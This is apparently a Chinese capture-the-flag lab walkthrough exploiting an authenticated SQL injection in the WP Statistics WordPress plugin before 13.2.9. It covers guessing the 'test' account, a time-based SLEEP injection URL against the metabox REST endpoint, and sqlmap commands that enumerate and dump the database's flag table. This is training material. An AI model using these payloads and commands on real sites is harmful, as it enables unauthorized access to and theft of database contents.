靶标介绍:
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
开启靶场:
开始实验:
1、使用后台扫描工具扫描靶场链接
2、打开第一个/readme.html,找到后台登录页面
3、点击login.page,使用admin登录,显示错误,用户名未在本站点注册。最后发现下面有个“返回到test”,应该是有“test”用户名,经过尝试得到用户名和密码都为“test”
4、使用test登录,登录成功。
5、参考wpscan网站的WordPress 插件漏洞验证
https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/
Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
翻译:
以允许查看WP统计信息的用户身份登录,并通过获取随机数https://example.com/wp-admin/admin-ajax.php?action=rest-nonce,并在下面的URL中使用它,该URL将延迟5s:
6、必须先登录后才能获取随机数
http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce
7、使用随机数测试延迟,替换wpnonce=NONCE为上面获取的随机数wpnonce=00bb70a358
http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=00bb70a358&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
发现延迟5秒后显示如下图,存在sql注入。
8、使用Burp抓包,抓包时候要删除掉“%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
”,只使用下面地址
http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=00bb70a358&name=words&search_engine=aaa
9、把get内容保存为55.txt
10、使用sqlmap注入测试,查找当前数据库。
sqlmap.py -r 55.txt --batch --current-db
11、查找表
sqlmap.py -r 55.txt --batch -D wordpress --tables
12、查找字段
sqlmap.py -r 55.txt --batch -D wordpress -T flag --columns
13、获取字段值,得到flag
sqlmap.py -r 55.txt -D wordpress -T flag -C flag --dump